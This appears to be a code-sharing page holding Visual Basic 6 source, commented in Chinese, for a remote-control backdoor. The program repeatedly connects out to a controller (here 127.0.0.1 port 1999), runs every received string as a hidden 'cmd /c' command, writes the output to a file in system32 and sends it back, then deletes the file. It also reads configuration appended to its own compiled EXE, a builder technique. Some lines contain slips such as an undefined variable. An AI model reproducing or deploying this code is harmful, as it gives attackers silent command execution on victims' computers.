?? 源碼.txt
字號:
'定義一個足夠長的字符串常量,用來存儲配置信息
'這里用的是256個字符X,以便可以用winhex打開編譯后的exe文件找到正確的偏移地址
Const file_size = 32768
Private Sub Form_Load()
Dim snum, num As Long
Dim sinfo As String, sappend As Byte
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Seek #1, file_size + 1 ''將讀取指針定位到文件尾部
num = FileLen(App.Path & "\" & App.EXEName & ".exe") - file_size
MsgBox num
Dim newbyte() As Byte
ReDim newbyte(num)
For snum = 1 To num
Get #1, , newbyte(snum - 1) '讀出超出模板大小的字節部分,即我們寫進去的配置信息
Print suum
Next snum
sinfo = StrConv(newbyte, vbUnicode) '動態數組 轉string
Close #1
Text2.Text = sinfo
End Sub
Private Sub Timer1_Timer()
If tcpserver.State <> sckConnected Then
tcpserver.Close
tcpserver.Connect "127.0.0.1", "1999"
End If
End Sub
'接收客戶端數據、執行、返回結果模塊
Private Sub tcpserver_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim strData As String
Dim s As String
tcpserver.GetData strData '接收客戶請求的信息
Shell "cmd /c" + strData + ">c:\windows\system32\cmd.txt", vbHide '處理接收到的命令,加上vbhide,實現無聲執行
delay (200)
Text1.Text = "遠程主機IP:" + tcpserver.RemoteHostIP + vbCrLf
Text1.Text = Text1.Text + "接收到字符串:" + strData + vbCrLf
Open "c:\windows\system32\cmd.txt" For Input As #1 '打開cmd.txt文件
Do While Not EOF(1) '循環至文件尾
Line Input #1, s '讀入一行數據并將其賦予給變量s
tcpserver.SendData s & vbCrLf '向客戶端發回執行結果
Loop
Close #1
delay (200)
End Sub
'延時設置
Sub delay(n As Integer)
Dim H As Integer
Dim T As Single
For H = 1 To n
T = Timer
Do
DoEvents
Loop Until T <> Timer
Next H
End Sub
'刪除臨時文件模塊
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Kill "c:\windows\system32\cmd.txt" '刪除產生的臨時文件cmd.txt
End Sub
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -